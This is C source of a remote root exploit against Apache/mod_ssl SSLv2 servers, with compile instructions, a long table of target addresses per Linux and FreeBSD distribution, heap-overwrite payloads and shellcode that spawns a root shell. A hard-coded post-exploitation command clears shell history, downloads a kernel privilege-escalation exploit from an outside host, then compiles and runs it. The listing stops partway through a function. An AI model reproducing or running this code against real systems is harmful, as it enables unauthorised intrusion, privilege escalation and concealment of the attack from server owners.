1. /*
  2.  * OF version r00t VERY PRIV8 spabam
  3.  * Compile with: gcc -o OpenFuck OpenFuck.c -lcrypto
  4.  * objdump -R /usr/sbin/httpd|grep free to get more targets
  5.  * #hackarena irc.brasnet.org
  6.  */
  7.  
  8. #include <arpa/inet.h>
  9. #include <netinet/in.h>
  10. #include <sys/types.h>
  11. #include <sys/socket.h>
  12. #include <netdb.h>
  13. #include <errno.h>
  14. #include <string.h>
  15. #include <stdio.h>
  16. #include <unistd.h>
  17.  
  18. #include <openssl/ssl.h>
  19. #include <openssl/rsa.h>
  20. #include <openssl/x509.h>
  21. #include <openssl/evp.h>
  22.  
  23. #include <openssl/rc4.h>
  24. #include <openssl/md5.h>
  25.  
  26. /* update this if you add architectures */
  27. #define MAX_ARCH 138
  28.  
  29. struct archs {
  30.     char* desc;
  31.     int func_addr;  /* objdump -R /usr/sbin/httpd | grep free */
  32. } architectures[] = {
  33.  
  34.         {
  35.                 "Caldera OpenLinux (apache-1.3.26)",
  36.                 0x080920e0
  37.         },
  38.     {
  39.         "Cobalt Sun 6.0 (apache-1.3.12)",
  40.         0x8120f0c
  41.     },
  42.     {
  43.         "Cobalt Sun 6.0 (apache-1.3.20)",
  44.         0x811dcb8
  45.     },
  46.     {
  47.         "Cobalt Sun x (apache-1.3.26)",
  48.         0x8123ac3
  49.     },
  50.     {
  51.         "Cobalt Sun x Fixed2 (apache-1.3.26)",
  52.         0x81233c3
  53.     },
  54.     {
  55.         "Conectiva 4 (apache-1.3.6)",
  56.         0x08075398
  57.     },
  58.     {
  59.         "Conectiva 4.1 (apache-1.3.9)",
  60.         0x0808f2fe
  61.     },
  62.     {
  63.         "Conectiva 6 (apache-1.3.14)",
  64.         0x0809222c
  65.     },
  66.     {
  67.         "Conectiva 7 (apache-1.3.12)",
  68.         0x0808f874
  69.     },
  70.     {
  71.         "Conectiva 7 (apache-1.3.19)",
  72.         0x08088aa0
  73.     },
  74.     {
  75.         "Conectiva 7/8 (apache-1.3.26)",
  76.         0x0808e628
  77.     },
  78.     {
  79.         "Conectiva 8 (apache-1.3.22)",
  80.         0x0808b2d0
  81.     },
  82.     {
  83.         "Debian GNU Linux 2.2 Potato (apache_1.3.9-14.1)",
  84.         0x08095264
  85.     },
  86.     {
  87.         "Debian GNU Linux (apache_1.3.19-1)",
  88.         0x080966fc
  89.     },
  90.     {
  91.         "Debian GNU Linux (apache_1.3.22-2)",
  92.         0x08096aac
  93.     },
  94.     {
  95.         "Debian GNU Linux (apache-1.3.22-2.1)",
  96.         0x08083828
  97.     },
  98.     {
  99.         "Debian GNU Linux (apache-1.3.22-5)",
  100.         0x08083728
  101.     },
  102.     {
  103.         "Debian GNU Linux (apache_1.3.23-1)",
  104.         0x08085de8
  105.     },
  106.     {
  107.         "Debian GNU Linux (apache_1.3.24-2.1)",
  108.         0x08087d08
  109.     },
  110.         {       "Debian Linux GNU Linux 2 (apache_1.3.24-2.1)",
  111.             0x080873ac
  112.     },
  113.     {
  114.         "Debian GNU Linux (apache_1.3.24-3)",
  115.         0x08087d68
  116.     },
  117.     {
  118.         "Debian GNU Linux (apache-1.3.26-1)",
  119.         0x0080863c4
  120.     },
  121.     {
  122.         "Debian GNU Linux 3.0 Woody (apache-1.3.26-1)",
  123.         0x080863cc
  124.     },
  125.     {       "Debian GNU Linux (apache-1.3.27)",
  126.             0x0080866a3
  127.     },
  128.  
  129.  
  130. { "FreeBSD (apache-1.3.9)", 0xbfbfde00 },
  131. { "FreeBSD (apache-1.3.11)", 0x080a2ea8 },
  132. { "FreeBSD (apache-1.3.12.1.40)", 0x080a7f58 },
  133. { "FreeBSD (apache-1.3.12.1.40)", 0x080a0ec0 },
  134. { "FreeBSD (apache-1.3.12.1.40)", 0x080a7e7c },
  135. { "FreeBSD (apache-1.3.12.1.40_1)", 0x080a7f18 },
  136. { "FreeBSD (apache-1.3.12)", 0x0809bd7c },
  137. { "FreeBSD (apache-1.3.14)", 0xbfbfdc00 },
  138. { "FreeBSD (apache-1.3.14)", 0x080ab68c },
  139. { "FreeBSD (apache-1.3.14)", 0x0808c76c },
  140. { "FreeBSD (apache-1.3.14)", 0x080a3fc8 },
  141. { "FreeBSD (apache-1.3.14)", 0x080ab6d8 },
  142. { "FreeBSD (apache-1.3.17_1)", 0x0808820c },
  143. { "FreeBSD (apache-1.3.19)", 0xbfbfdc00 },
  144. { "FreeBSD (apache-1.3.19_1)", 0x0808c96c },
  145. { "FreeBSD (apache-1.3.20)", 0x0808cb70 },
  146. { "FreeBSD (apache-1.3.20)", 0xbfbfc000 },
  147. { "FreeBSD (apache-1.3.20+2.8.4)", 0x0808faf8 },
  148. { "FreeBSD (apache-1.3.20_1)", 0x0808dfb4 },
  149. { "FreeBSD (apache-1.3.22)", 0xbfbfc000 },
  150. { "FreeBSD (apache-1.3.22_7)", 0x0808d110 },
  151. { "FreeBSD (apache_fp-1.3.23)", 0x0807c5f8 },
  152. { "FreeBSD (apache-1.3.24_7)", 0x0808f8b0 },
  153. { "FreeBSD (apache-1.3.24+2.8.8)", 0x080927f8 },
  154. { "FreeBSD 4.6.2-Release-p6 (apache-1.3.26)", 0x080c432c },
  155. { "FreeBSD 4.6-Realease (apache-1.3.26)", 0x0808fdec },
  156. { "FreeBSD (apache-1.3.27)", 0x080902e4 },
  157.  
  158.  
  159.     {
  160.         "Gentoo Linux (apache-1.3.24-r2)",
  161.         0x08086c34
  162.     },
  163.     {
  164.         "Linux Generic (apache-1.3.14)",
  165.         0xbffff500
  166.     },
  167.     {
  168.         "Mandrake Linux X.x (apache-1.3.22-10.1mdk)",
  169.         0x080808ab
  170.     },
  171.     {
  172.         "Mandrake Linux 7.1 (apache-1.3.14-2)",
  173.         0x0809f6c4
  174.     },
  175.     {
  176.         "Mandrake Linux 7.1 (apache-1.3.22-1.4mdk)",
  177.         0x0809d233
  178.     },
  179.     {
  180.         "Mandrake Linux 7.2 (apache-1.3.14-2mdk)",
  181.         0x0809f6ef
  182.     },
  183.     {
  184.         "Mandrake Linux 7.2 (apache-1.3.14) 2",
  185.         0x0809d6c4
  186.     },
  187.     {
  188.         "Mandrake Linux 7.2 (apache-1.3.20-5.1mdk)",
  189.         0x0809ccde
  190.     },
  191.     {
  192.         "Mandrake Linux 7.2 (apache-1.3.20-5.2mdk)",
  193.         0x0809ce14
  194.     },
  195.     {
  196.         "Mandrake Linux 7.2 (apache-1.3.22-1.3mdk)",
  197.         0x0809d262
  198.     },
  199.     {
  200.         "Mandrake Linux 7.2 (apache-1.3.22-10.2mdk)",
  201.         0x08083545
  202.     },
  203.     {
  204.         "Mandrake Linux 8.0 (apache-1.3.19-3)",
  205.         0x0809ea98
  206.     },
  207.     {
  208.         "Mandrake Linux 8.1 (apache-1.3.20-3)",
  209.         0x0809e97c
  210.     },
  211.     {
  212.         "Mandrake Linux 8.2 (apache-1.3.23-4)",
  213.         0x08086580
  214.     },
  215.     {       "Mandrake Linux 8.2 #2 (apache-1.3.23-4)",
  216.             0x08086484
  217.     },
  218.     {       "Mandrake Linux 8.2 (apache-1.3.24)",
  219.             0x08086665
  220.     },
  221.  
  222.     {       "Mandrake Linux 9 (apache-1.3.26)",
  223.             0x0808b864
  224.     },
  225.     {
  226.         "RedHat Linux ?.? GENERIC (apache-1.3.12-1)",
  227.         0x0808c0f4
  228.     },
  229.     {
  230.         "RedHat Linux TEST1 (apache-1.3.12-1)",
  231.         0x0808c0f4
  232.     },
  233.     {
  234.         "RedHat Linux TEST2 (apache-1.3.12-1)",
  235.         0x0808c0f4
  236.     },
  237.     {
  238.         "RedHat Linux GENERIC (marumbi) (apache-1.2.6-5)",
  239.         0x080d2c35
  240.     },
  241.     {
  242.         "RedHat Linux 4.2 (apache-1.1.3-3)",
  243.         0x08065bae
  244.     },
  245.     {
  246.         "RedHat Linux 5.0 (apache-1.2.4-4)",
  247.         0x0808c82c
  248.     },
  249.     {
  250.         "RedHat Linux 5.1-Update (apache-1.2.6)",
  251.         0x08092a45
  252.     },
  253.     {
  254.         "RedHat Linux 5.1 (apache-1.2.6-4)",
  255.         0x08092c2d
  256.     },
  257.     {
  258.         "RedHat Linux 5.2 (apache-1.3.3-1)",
  259.         0x0806f049
  260.     },
  261.     {
  262.         "RedHat Linux 5.2-Update (apache-1.3.14-2.5.x)",
  263.         0x0808e4d8
  264.     },
  265.     {
  266.         "RedHat Linux 6.0 (apache-1.3.6-7)",
  267.         0x080707ec
  268.     },
  269.     {
  270.         "RedHat Linux 6.0 (apache-1.3.6-7)",
  271.         0x080707f9
  272.     },
  273.     {
  274.         "RedHat Linux 6.0-Update (apache-1.3.14-2.6.2)",
  275.         0x0808fd52
  276.     },
  277.     {
  278.         "RedHat Linux 6.0 Update (apache-1.3.24)",
  279.         0x80acd58
  280.     },
  281.     {
  282.         "RedHat Linux 6.1 (apache-1.3.9-4)1",
  283.         0x0808ccc4
  284.     },
  285.     {
  286.         "RedHat Linux 6.1 (apache-1.3.9-4)2",
  287.         0x0808ccdc
  288.     },
  289.     {
  290.         "RedHat Linux 6.1-Update (apache-1.3.14-2.6.2)",
  291.         0x0808fd5d
  292.     },
  293.     {
  294.         "RedHat Linux 6.1-fp2000 (apache-1.3.26)",
  295.         0x082e6fcd
  296.     },
  297.     {
  298.         "RedHat Linux 6.2 (apache-1.3.12-2)1",
  299.         0x0808f689
  300.     },
  301.     {
  302.         "RedHat Linux 6.2 (apache-1.3.12-2)2",
  303.         0x0808f614
  304.     },
  305.     {
  306.         "RedHat Linux 6.2 mod(apache-1.3.12-2)3",
  307.         0xbffff94c
  308.     },
  309.  
  310.     {
  311.         "RedHat Linux 6.2 update (apache-1.3.22-5.6)1",
  312.         0x0808f9ec
  313.     },
  314.     {
  315.         "RedHat Linux 6.2-Update (apache-1.3.22-5.6)2",
  316.         0x0808f9d4
  317.     },
  318.     {
  319.         "Redhat Linux 7.x (apache-1.3.22)",
  320.         0x0808400c
  321.     },
  322.     {
  323.         "RedHat Linux 7.x (apache-1.3.26-1)",
  324.         0x080873bc
  325.     },
  326.     {       "RedHat Linux 7.x (apache-1.3.27)",
  327.             0x08087221
  328.     },
  329.     {
  330.         "RedHat Linux 7.0 (apache-1.3.12-25)1",
  331.         0x0809251c
  332.     },
  333.     {
  334.         "RedHat Linux 7.0 (apache-1.3.12-25)2",
  335.         0x0809252d
  336.     },
  337.     {
  338.         "RedHat Linux 7.0 (apache-1.3.14-2)",
  339.         0x08092b98
  340.     },
  341.         {
  342.         "RedHat Linux 7.0-Update (apache-1.3.22-5.7.1)",
  343.         0x08084358
  344.     },
  345.     {
  346.         "RedHat Linux 7.0-7.1 update (apache-1.3.22-5.7.1)",
  347.         0x0808438c
  348.     },
  349.     {
  350.         "RedHat Linux 7.0-Update (apache-1.3.27-1.7.1)",
  351.         0x08086e41
  352.     },
  353.     {
  354.         "RedHat Linux 7.1 (apache-1.3.19-5)1",
  355.         0x0809af8c
  356.     },
  357.     {
  358.         "RedHat Linux 7.1 (apache-1.3.19-5)2",
  359.         0x0809afd9
  360.     },
  361.     {
  362.         "RedHat Linux 7.1-7.0 update (apache-1.3.22-5.7.1)",
  363.         0x0808438c
  364.     },
  365.     {
  366.         "RedHat Linux 7.1-Update (1.3.22-5.7.1)",
  367.         0x08084389
  368.     },
  369.         {
  370.         "RedHat Linux 7.1 (apache-1.3.22-src)",
  371.             0x0816021c
  372.         },
  373.         {
  374.         "RedHat Linux 7.1-Update (1.3.27-1.7.1)",
  375.         0x08086ec89
  376.     },
  377.     {
  378.         "RedHat Linux 7.2 (apache-1.3.20-16)1",
  379.         0x080994e5
  380.     },
  381.     {
  382.         "RedHat Linux 7.2 (apache-1.3.20-16)2",
  383.         0x080994d4
  384.     },
  385.     {
  386.         "RedHat Linux 7.2-Update (apache-1.3.22-6)",
  387.         0x08084045
  388.     },
  389.     {
  390.         "RedHat Linux 7.2 (apache-1.3.24)",
  391.         0x80b0938
  392.     },
  393.     {
  394.         "RedHat Linux 7.2 (apache-1.3.26)",
  395.         0x08161c16
  396.     },
  397.     {
  398.         "RedHat Linux 7.2 (apache-1.3.26-snc)",
  399.         0x8161c14
  400.     },
  401.     {
  402.  
  403.         "Redhat Linux 7.2 (apache-1.3.26 w/PHP)1",
  404.         0x08269950
  405.     },
  406.     {
  407.         "Redhat Linux 7.2 (apache-1.3.26 w/PHP)2",
  408.         0x08269988
  409.     },
  410.     {
  411.         "RedHat Linux 7.2-Update (apache-1.3.27-1.7.2)",
  412.         0x08086af9
  413.     },
  414.     {
  415.         "RedHat Linux 7.3 (apache-1.3.23-11)1",
  416.         0x0808528c
  417.     },
  418.     {
  419.         "RedHat Linux 7.3 (apache-1.3.23-11)2",
  420.         0x0808525f
  421.     },
  422.     {
  423.         "RedHat Linux 7.3 (apache-1.3.27)",
  424.         0x080862e4
  425.     },
  426.     {       "RedHat Linux 8.0 (apache-1.3.27)",
  427.  
  428.             0x08084c1c
  429.         },
  430.         {       "RedHat Linux 8.0-second (apache-1.3.27)",
  431.                 0x0808151e
  432.         },
  433.     {       "RedHat Linux 8.0 (apache-2.0.40)",
  434.                 0x08092fa4
  435.         },
  436.     {
  437.         "Slackware Linux 4.0 (apache-1.3.6)",
  438.         0x08088130
  439.     },
  440.     {
  441.         "Slackware Linux 7.0 (apache-1.3.9)",
  442.         0x080a7fc0
  443.     },
  444.     {
  445.         "Slackware Linux 7.0 (apache-1.3.26)",
  446.         0x083d37fc
  447.     },
  448.         {       "Slackware 7.0  (apache-1.3.26)2",
  449.         0x083d2232
  450.     },
  451.     {
  452.         "Slackware Linux 7.1 (apache-1.3.12)",
  453.         0x080a86a4
  454.     },
  455.     {
  456.         "Slackware Linux 8.0 (apache-1.3.20)",
  457.         0x080ae67c
  458.     },
  459.     {
  460.         "Slackware Linux 8.1 (apache-1.3.24)",
  461.         0x080b0c60
  462.     },
  463.     {
  464.         "Slackware Linux 8.1 (apache-1.3.26)",
  465.         0x080b2100
  466.     },
  467.  
  468.     {
  469.         "Slackware Linux 8.1-stable (apache-1.3.26)",
  470.         0x080b0c60
  471.     },
  472.     {       "Slackware Linux (apache-1.3.27)",
  473.             0x080b1a3a
  474.     },
  475.     {
  476.         "SuSE Linux 7.0 (apache-1.3.12)",
  477.         0x0809f54c
  478.     },
  479.     {
  480.         "SuSE Linux 7.1 (apache-1.3.17)",
  481.         0x08099984
  482.     },
  483.     {
  484.         "SuSE Linux 7.2 (apache-1.3.19)",
  485.         0x08099ec8
  486.     },
  487.     {
  488.         "SuSE Linux 7.3 (apache-1.3.20)",
  489.         0x08099da8
  490.     },
  491.     {
  492.         "SuSE Linux 8.0 (apache-1.3.23)",
  493.         0x08086168
  494.     },
  495.     {
  496.         "SUSE Linux 8.0 (apache-1.3.23-120)",
  497.         0x080861c8
  498.     },
  499.     {
  500.         "SuSE Linux 8.0 (apache-1.3.23-137)",
  501.         0x080861c8
  502.     },
  503. /* this one unchecked cause require differend shellcode */
  504.     {
  505.         "Yellow Dog Linux/PPC 2.3 (apache-1.3.22-6.2.3a)",
  506.         0xfd42630
  507.     },
  508.  
  509. };
  510.  
  511. extern int errno;
  512.  
  513. int cipher;
  514. int ciphers;
  515.  
  516. /* the offset of the local port from be beginning of the overwrite next chunk buffer */
  517. #define FINDSCKPORTOFS     208 + 12 + 46
  518.  
  519. unsigned char overwrite_session_id_length[] =
  520.     "AAAA"                              /* int master key length; */
  521.     "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"  /* unsigned char master key[SSL MAX MASTER KEY LENGTH]; */
  522.     "\x70\x00\x00\x00";                 /* unsigned int session id length; */
  523.  
  524. unsigned char overwrite_next_chunk[] =
  525.     "AAAA"                              /* int master key length; */
  526.     "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"  /* unsigned char master key[SSL MAX MASTER KEY LENGTH]; */
  527.     "AAAA"                              /* unsigned int session id length; */
  528.     "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"  /* unsigned char session id[SSL MAX SSL SESSION ID LENGTH]; */
  529.     "AAAA"                              /* unsigned int sid ctx length; */
  530.     "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"  /* unsigned char sid ctx[SSL MAX SID CTX LENGTH]; */
  531.     "AAAA"                              /* int not resumable; */
  532.     "\x00\x00\x00\x00"                  /* struct sess cert st *sess cert; */
  533.     "\x00\x00\x00\x00"                  /* X509 *peer; */
  534.     "AAAA"                              /* long verify result; */
  535.     "\x01\x00\x00\x00"                  /* int references; */
  536.     "AAAA"                              /* int timeout; */
  537.     "AAAA"                              /* int time */
  538.     "AAAA"                              /* int compress meth; */
  539.     "\x00\x00\x00\x00"                  /* SSL CIPHER *cipher; */
  540.     "AAAA"                              /* unsigned long cipher id; */
  541.     "\x00\x00\x00\x00"                  /* STACK OF(SSL CIPHER) *ciphers; */
  542.     "\x00\x00\x00\x00\x00\x00\x00\x00"  /* CRYPTO EX DATA ex data; */
  543.     "AAAAAAAA"                          /* struct ssl session st *prev,*next; */
  544.  
  545.     "\x00\x00\x00\x00"                  /* Size of previous chunk */
  546.     "\x11\x00\x00\x00"                  /* Size of chunk, in bytes */
  547.     "fdfd"                              /* Forward and back pointers */
  548.     "bkbk"
  549.     "\x10\x00\x00\x00"                  /* Size of previous chunk */
  550.     "\x10\x00\x00\x00"                  /* Size of chunk, PREV INUSE is set */
  551.  
  552. /* shellcode start */
  553.     "\xeb\x0a\x90\x90"  /* jump 10 bytes ahead, land at shellcode */
  554.     "\x90\x90\x90\x90"
  555.     "\x90\x90\x90\x90"  /* this is overwritten with FD by the unlink macro */
  556.  
  557. /* 72 bytes findsckcode by LSD-pl */
  558.     "\x31\xdb"             /* xorl    %ebx,%ebx              */
  559.     "\x89\xe7"             /* movl    %esp,%edi              */
  560.     "\x8d\x77\x10"         /* leal    0x10(%edi),%esi        */
  561.     "\x89\x77\x04"         /* movl    %esi,0x4(%edi)         */
  562.     "\x8d\x4f\x20"         /* leal    0x20(%edi),%ecx        */
  563.     "\x89\x4f\x08"         /* movl    %ecx,0x8(%edi)         */
  564.     "\xb3\x10"             /* movb    $0x10,%bl              */
  565.     "\x89\x19"             /* movl    %ebx,(%ecx)            */
  566.     "\x31\xc9"             /* xorl    %ecx,%ecx              */
  567.     "\xb1\xff"             /* movb    $0xff,%cl              */
  568.     "\x89\x0f"             /* movl    %ecx,(%edi)            */
  569.     "\x51"                 /* pushl   %ecx                   */
  570.     "\x31\xc0"             /* xorl    %eax,%eax              */
  571.     "\xb0\x66"             /* movb    $0x66,%al              */
  572.     "\xb3\x07"             /* movb    $0x07,%bl              */
  573.     "\x89\xf9"             /* movl    %edi,%ecx              */
  574.     "\xcd\x80"             /* int     $0x80                  */
  575.     "\x59"                 /* popl    %ecx                   */
  576.     "\x31\xdb"             /* xorl    %ebx,%ebx              */
  577.     "\x39\xd8"             /* cmpl    %ebx,%eax              */
  578.     "\x75\x0a"             /* jne     <findsckcode+54>       */
  579.     "\x66\xb8\x12\x34"     /* movw    $0x1234,%bx            */
  580.     "\x66\x39\x46\x02"     /* cmpw    %bx,0x2(%esi)          */
  581.     "\x74\x02"             /* je      <findsckcode+56>       */
  582.     "\xe2\xe0"             /* loop    <findsckcode+24>       */
  583.     "\x89\xcb"             /* movl    %ecx,%ebx              */
  584.     "\x31\xc9"             /* xorl    %ecx,%ecx              */
  585.     "\xb1\x03"             /* movb    $0x03,%cl              */
  586.     "\x31\xc0"             /* xorl    %eax,%eax              */
  587.     "\xb0\x3f"             /* movb    $0x3f,%al              */
  588.     "\x49"                 /* decl    %ecx                   */
  589.     "\xcd\x80"             /* int     $0x80                  */
  590.     "\x41"                 /* incl    %ecx                   */
  591.     "\xe2\xf6"             /* loop    <findsckcode+62>       */
  592.  
  593. /* 10 byte setresuid(0,0,0); by core */
  594.      "\x31\xc9"       /* xor    %ecx,%ecx */
  595.      "\xf7\xe1"       /* mul    %ecx,%eax */
  596.      "\x51"           /* push   %ecx */
  597.      "\x5b"           /* pop    %ebx */
  598.      "\xb0\xa4"       /* mov    $0xa4,%al */
  599.      "\xcd\x80"       /* int    $0x80 */
  600.  
  601.    
  602. /* bigger shellcode added by spabam */
  603.  
  604. /* "\xB8\x2F\x73\x68\x23\x25\x2F\x73\x68\xDC\x50\x68\x2F\x62\x69"
  605.         "\x6E\x89\xE3\x31\xC0\x50\x53\x89\xE1\x04\x0B\x31\xD2\xCD\x80"
  606. */
  607.  
  608.  
  609. /* 24 bytes execl("/bin/sh", "/bin/sh", 0); by LSD-pl */
  610.     "\x31\xc0"             /* xorl    %eax,%eax              */
  611.     "\x50"                 /* pushl   %eax                   */
  612.     "\x68""//sh"           /* pushl   $0x68732f2f            */
  613.     "\x68""/bin"           /* pushl   $0x6e69622f            */
  614.     "\x89\xe3"             /* movl    %esp,%ebx              */
  615.     "\x50"                 /* pushl   %eax                   */
  616.     "\x53"                 /* pushl   %ebx                   */
  617.     "\x89\xe1"             /* movl    %esp,%ecx              */
  618.     "\x99"                 /* cdql                           */
  619.     "\xb0\x0b"             /* movb    $0x0b,%al              */
  620.     "\xcd\x80";             /* int     $0x80                  */
  621.  
  622. /* read and write buffer*/
  623. #define BUFSIZE 16384
  624.  
  625. /* hardcoded protocol stuff */
  626. #define CHALLENGE_LENGTH 16
  627. #define RC4_KEY_LENGTH 16   /* 128 bits */
  628. #define RC4_KEY_MATERIAL_LENGTH (RC4_KEY_LENGTH*2)
  629.  
  630. /* straight from the openssl source */
  631. #define n2s(c,s)    ((s=(((unsigned int)(c[0]))<< 8)| (((unsigned int)(c[1]))    )),c+=2)
  632. #define s2n(s,c)    ((c[0]=(unsigned char)(((s)>> 8)&0xff), c[1]=(unsigned char)(((s)    )&0xff)),c+=2)
  633.  
  634. /* we keep all SSL2 state in this structure */
  635. typedef struct {
  636.     int sock;
  637.  
  638.     /* client stuff */
  639.     unsigned char challenge[CHALLENGE_LENGTH];
  640.     unsigned char master_key[RC4_KEY_LENGTH];
  641.     unsigned char key_material[RC4_KEY_MATERIAL_LENGTH];
  642.  
  643.     /* connection id - returned by the server */
  644.     int conn_id_length;
  645.     unsigned char conn_id[SSL2_MAX_CONNECTION_ID_LENGTH];
  646.  
  647.     /* server certificate */
  648.     X509 *x509;
  649.  
  650.     /* session keys */
  651.     unsigned char* read_key;
  652.     unsigned char* write_key;
  653.     RC4_KEY* rc4_read_key;
  654.     RC4_KEY* rc4_write_key;
  655.  
  656.     /* sequence numbers, used for MAC calculation */
  657.     int read_seq;
  658.     int write_seq;
  659.  
  660.     /* set to 1 when the SSL2 handshake is complete */
  661.     int encrypted;
  662. } ssl_conn;
  663.  
  664. #define COMMAND1 "TERM=xterm; export TERM=xterm; exec /bin/bash -i\n"
  665. #define COMMAND2 "unset HISTFILE; cd /tmp; wget http://192.168.16.77/webssl/ptrace-kmod.c; gcc -o p ptrace-kmod.c; rm ptrace-kmod.c; ./p; \n"
  666.  
  667. long getip(char *hostname) {
  668.     struct hostent *he;
  669.     long ipaddr;
  670.    
  671.     if ((ipaddr = inet_addr(hostname)) < 0) {
  672.         if ((he = gethostbyname(hostname)) == NULL) {
  673.             perror("gethostbyname()");
  674.             exit(-1);
  675.         }
  676.         memcpy(&ipaddr, he->h_addr, he->h_length);
  677.     }  
  678.     return ipaddr;
  679. }
  680.  
  681. /* mixter's code w/enhancements by core */
  682.  
  683. int sh(int sockfd) {
  684.    char snd[1024], rcv[1024];
  685.    fd_set rset;
  686.    int maxfd, n;
  687.  
  688.    /* Priming commands */
  689.    strcpy(snd, COMMAND1 "\n");
  690.    write(sockfd, snd, strlen(snd));
  691.  
  692.    strcpy(snd, COMMAND2 "\n");
  693.    write(sockfd, snd, strlen(snd));
  694.  
  695.    /* Main command loop */
  696.    for (;;) {
  697.       FD_SET(fileno(stdin), &rset);
  698.       FD_SET(sockfd, &rset);
  699.  
  700.       maxfd = ( ( fileno(stdin) > sockfd )?fileno(stdin):sockfd ) + 1;
  701.       select(maxfd, &rset, NULL, NULL, NULL);
  702.  
  703.       if (FD_ISSET(fileno(stdin), &rset)) {
  704.      bzero(snd, sizeof(snd));
  705.      fgets(snd, sizeof(snd)-2, stdin);
  706.      write(sockfd, snd, strlen(snd));
  707.       }
  708.  
  709.       if (FD_ISSET(sockfd, &rset)) {
  710.      bzero(rcv, sizeof(rcv));
  711.  
  712.      if ((n = read(sockfd, rcv, sizeof(rcv))) == 0) {
  713.         printf("Good Bye!\n");
  714.         return 0;
  715.      }
  716.  
  717.      if (n < 0) {
  718.         perror("read");
  719.         return 1;
  720.      }
  721.  
  722.      fputs(rcv, stdout);
  723.      fflush(stdout); /* keeps output nice */
  724.       }
  725.    } /* for(;;) */
  726. }
  727.  
  728. /* Returns the local port of a connected socket */
  729. int get_local_port(int sock)
  730. {
  731.     struct sockaddr_in s_in;
  732.     unsigned int namelen = sizeof(s_in);
  733.  
  734.     if (getsockname(sock, (struct sockaddr *)&s_in, &namelen) < 0) {
  735.         printf("Can't get local port: %s\n", strerror(errno));
  736.         exit(1);
  737.     }
  738.  
  739.     return s_in.sin_port;
  740. }
  741.  
  742. /* Connect to a host */
  743. int connect_host(char* host, int port)
  744. {
  745.     struct sockaddr_in s_in;
  746.     int sock;
  747.  
  748.     s_in.sin_family = AF_INET;
  749.     s_in.sin_addr.s_addr = getip(host);
  750.     s_in.sin_port = htons(port);
  751.  
  752.     if ((sock = socket(AF_INET, SOCK_STREAM, 0)) <= 0) {
  753.         printf("Could not create a socket\n");
  754.         exit(1);
  755.     }
  756.  
  757.     if (connect(sock, (struct sockaddr *)&s_in, sizeof(s_in)) < 0) {
  758.         printf("Connection to %s:%d failed: %s\n", host, port, strerror(errno));
  759.         exit(1);
  760.     }
  761.  
  762.     return sock;
  763. }
  764.  
  765. /* Create a new ssl conn structure and connect to a host */
  766. ssl_conn* ssl_connect_host(char* host, int port)
  767. {
  768.     ssl_conn* ssl;
  769.  
  770.     if (!(ssl = (ssl_conn*) malloc(sizeof(ssl_conn)))) {
  771.         printf("Can't allocate memory\n");
  772.         exit(1);
  773.     }
  774.  
  775.     /* Initialize some values */
  776.     ssl->encrypted = 0;
  777.     ssl->write_seq = 0;
  778.     ssl->read_seq = 0;
  779.  
  780.     ssl->sock = connect_host(host, port);
  781.  
  782.     return ssl;
  783. }
  784.  
  785. /* global buffer used by the ssl result() */
  786. char res_buf[30];
  787.  
  788. /* converts an SSL error code to a string */
  789. char* ssl_error(int code) {
  790.     switch (code) {
  791.         case 0x00:  return "SSL2 PE UNDEFINED ERROR (0x00)";
  792.         case 0x01:  return "SSL2 PE NO CIPHER (0x01)";
  793.         case 0x02:  return "SSL2 PE NO CERTIFICATE (0x02)";
  794.         case 0x04:  return "SSL2 PE BAD CERTIFICATE (0x03)";
  795.         case 0x06:  return "SSL2 PE UNSUPPORTED CERTIFICATE TYPE (0x06)";
  796.     default:
  797.         sprintf(res_buf, "%02x", code);
  798.         return res_buf;
  799.     }
  800. }
  801.  
  802. /* read len bytes from a socket. boring. */
  803. int read_data(int sock, unsigned char* buf, int len)
  804. {
  805.     int l;
  806.     int to_read = len;
  807.  
  808.     do {
  809.         if ((l = read(sock, buf, to_read)) < 0) {
  810.             printf("Error in read: %s\n", strerror(errno));
  811.             exit(1);
  812.         }
  813.         to_read -= len;
  814.     } while (to_read > 0);
  815.  
  816.     return len;
  817. }
  818.  
  819. /* reads an SSL packet and decrypts it if necessery */
  820. int read_ssl_packet(ssl_conn* ssl, unsigned char* buf, int buf_size)
  821. {
  822.     int rec_len, padding;
  823.  
  824.     read_data(ssl->sock, buf, 2);
  825.  
  826.     if ((buf[0] & 0x80) == 0) {
  827.         /* three byte header */
  828.         rec_len = ((buf[0] & 0x3f) << 8) | buf[1];
  829.         read_data(ssl->sock, &buf[2], 1);
  830.         padding = (int)buf[2];
  831.     }
  832.     else {
  833.         /* two byte header */
  834.         rec_len = ((buf[0] & 0x7f) << 8) | buf[1];
  835.         padding = 0;
  836.     }
  837.  
  838.     if ((rec_len <= 0) || (rec_len > buf_size)) {
  839.         printf("read_ssl_packet: Record length out of range (rec_len = %d)\n", rec_len);
  840.         exit(1);
  841.     }
  842.  
  843.     read_data(ssl->sock, buf, rec_len);
  844.  
  845.     if (ssl->encrypted) {
  846.         if (MD5_DIGEST_LENGTH + padding >= rec_len) {
  847.             if ((buf[0] == SSL2_MT_ERROR) && (rec_len == 3)) {
  848.                 /* the server didn't switch to encryption due to an error */
  849.                 return 0;
  850.             }
  851.             else {
  852.                 printf("read_ssl_packet: Encrypted message is too short (rec_len = %d)\n", rec_len);
  853.                 exit(1);
  854.             }
  855.         }
  856.  
  857.         /* decrypt the encrypted part of the packet */
  858.         RC4(ssl->rc4_read_key, rec_len, buf, buf);
  859.  
  860.         /* move the decrypted message in the beginning of the buffer */
  861.         rec_len = rec_len - MD5_DIGEST_LENGTH - padding;
  862.         memmove(buf, buf + MD5_DIGEST_LENGTH, rec_len);
  863.     }
  864.  
  865.     if (buf[0] == SSL2_MT_ERROR) {
  866.         if (rec_len != 3) {
  867.             printf("Malformed server error message\n");
  868.             exit(1);
  869.         }
  870.         else {
  871.             return 0;
  872.         }
  873.     }
  874.  
  875.     return rec_len;
  876. }
  877.  
  878. /* send an ssl packet, encrypting it if ssl->encrypted is set */
  879. void send_ssl_packet(ssl_conn* ssl, unsigned char* rec, int rec_len)
  880. {
  881.     unsigned char buf[BUFSIZE];
  882.     unsigned char* p;
  883.     int tot_len;
  884.     MD5_CTX ctx;
  885.     int seq;
  886.  
  887.  
  888.     if (ssl->encrypted)
  889.         tot_len = rec_len + MD5_DIGEST_LENGTH;  /* RC4 needs no padding */
  890.     else
  891.         tot_len = rec_len;
  892.  
